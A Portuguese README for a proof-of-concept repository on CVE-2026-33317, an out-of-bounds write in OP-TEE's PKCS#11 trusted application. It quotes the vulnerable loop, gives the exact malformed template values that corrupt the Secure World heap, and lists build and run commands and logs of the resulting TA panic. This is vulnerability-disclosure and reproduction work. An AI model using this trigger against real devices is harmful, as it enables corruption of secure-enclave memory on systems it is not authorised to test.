
Prova de conceito para CVE-2026-33317, uma escrita fora dos limites no OP-TEE PKCS#11 TA, demonstrando corrupção de heap no Secure World por meio de um modelo de atributo malformado.
Este repositório contém a prova de conceito (PoC) do Mundo Normal, notas de reprodução e logs capturados para CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9.
O aviso oficial do OP-TEE descreve validação ausente em
entry_get_attribute_value() para PKCS11_CMD_GET_ATTRIBUTE_VALUE. O bug pode
causar leituras fora dos limites do heap da TA PKCS#11 e, com um
template de atributos malformado, gravações além do buffer temporário do template. Esta PoC
tem como alvo o caso de gravação fora dos limites e demonstra corrupção do heap
do Mundo Seguro na TA PKCS#11.
CVE-2026-33317>= 3.13.04.11 e posteriores8.7 AltaCWE-125, CWE-787Use isto apenas em um laboratório local ou em outro ambiente onde você esteja autorizado a testar o OP-TEE.
A cópia de trabalho local a partir da qual este README foi preparado era um espaço de trabalho
QEMUv8 do OP-TEE achatado. O diretório .repo e todos os metadados .git (arquivos/diretórios)
foram removidos, portanto esse arquivo local não é mais utilizável com repo sync ou
comandos normais de histórico do git.
O repositório GitHub exclui intencionalmente as árvores de código-fonte volumosas do OP-TEE/QEMU,
toolchains e saídas de build. Recrie-os a partir de qemu-v8-setup.md, ou copie
os arquivos da PoC para uma raiz de build qemu_v8 existente do OP-TEE, antes de executar a
reprodução automatizada do QEMU a partir de um clone novo.
Arquivos importantes de nível superior:
O arquivo local preparado também tinha diretórios de código-fonte/build como optee_os,
optee_client, qemu, linux, trusted-firmware-a, u-boot, buildroot,
out-br e toolchains; estes são ignorados para publicação.
Na árvore optee_os vulnerável, ta/pkcs11/src/object.c itera sobre um
template de atributos serializado fornecido pelo cliente:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
O loop não prova que cada cabeçalho de atributo e sua área de dados estão totalmente dentro do template alocado. A PoC envia:
attrs_size = 8, exatamente um pkcs11_attribute_head e nenhum byte de dados.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16, correspondendo ao rótulo de 16 bytes do objeto criado.Isso cria uma alocação de template de 16 bytes:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
cli_ref->data então aponta para template + 16, exatamente um byte além do final da
alocação. get_attribute() em ta/pkcs11/src/attributes.c vê que o
tamanho fornecido pelo chamador é grande o suficiente e copia o rótulo de 16 bytes para esse
ponteiro fora dos limites, corrompendo o heap da TA PKCS#11.
Pré-requisitos usados pelo espaço de trabalho QEMUv8 preparado:
expectqemu_v8 do OP-TEE com saídas de build, toolchains e binário QEMU
organizados como o arquivo local descrito em qemu-v8-setup.mdCompile a PoC:
./build_poc.sh
Resultado esperado do build:
Built: out/bin/c01_poc
Execute a reprodução automatizada do QEMUv8:
./run_c01.sh
O wrapper verifica estes arquivos preparados antes de inicializar:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocSe os artefatos de build estiverem ausentes, recrie/compile o espaço de trabalho do OP-TEE primeiro
e então execute novamente ./build_poc.sh.
O log do Mundo Normal deve mostrar a solicitação elaborada:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
O log do Mundo Seguro deve conter a asserção do alocador e o pânico da TA:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
Logs capturados de uma execução bem-sucedida já estão presentes em:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c invoca o UUID da TA PKCS#11
fd02c9da-306c-48c7-a49c-bbd827ae86ee através de libteec:
CKA_LABEL = "AAAAAAAAAAAAAAAA".CMD_GET_ATTRIBUTE_VALUE com attrs_size = 8
e cli_head.size = 16.A primeira solicitação maliciosa é suficiente para corromper os metadados do heap. A TA então entra em pânico quando o alocador bget do OP-TEE detecta os metadados de bloco corrompidos.
run_c01.sh compartilha out/bin com o convidado via virtio-9p e grava logs
de volta no mesmo diretório.out/bin devem apontar
para artefatos dentro desse arquivo. O repositório GitHub publicado rastreia apenas
os arquivos out/bin/c01_*.log capturados.C-01-reproduction.md documenta uma abordagem anterior de harness ASAN x86. A
PoC executável nesta pasta é a PoC TEEC QEMUv8: c01_poc.c.| Caminho | Finalidade |
|---|
c01_poc.c | PoC do Mundo Normal AArch64 usando chamadas libteec brutas |
build_poc.sh | Compila de forma cruzada c01_poc.c em out/bin/c01_poc |
run_c01.sh | Inicializa o QEMUv8 e executa a PoC via expect |
c01_check.exp | Automatiza login do convidado, montagem virtio-9p e execução da PoC |
out/bin/c01_nw.log | Log de reprodução capturado do Mundo Normal |
out/bin/c01_sw.log | Log capturado do Mundo Seguro com o pânico da TA PKCS#11 |
reproduction-log.md | Notas completas de reprodução do QEMUv8 |
qemu-v8-setup.md | Notas de configuração e validação de linha de base do QEMUv8 do OP-TEE |
C-01-reproduction.md | Notas anteriores do harness ASAN; não é a PoC executável principal nesta pasta |
AGENTS.md | Notas de manutenção para futuros agentes de IA/código |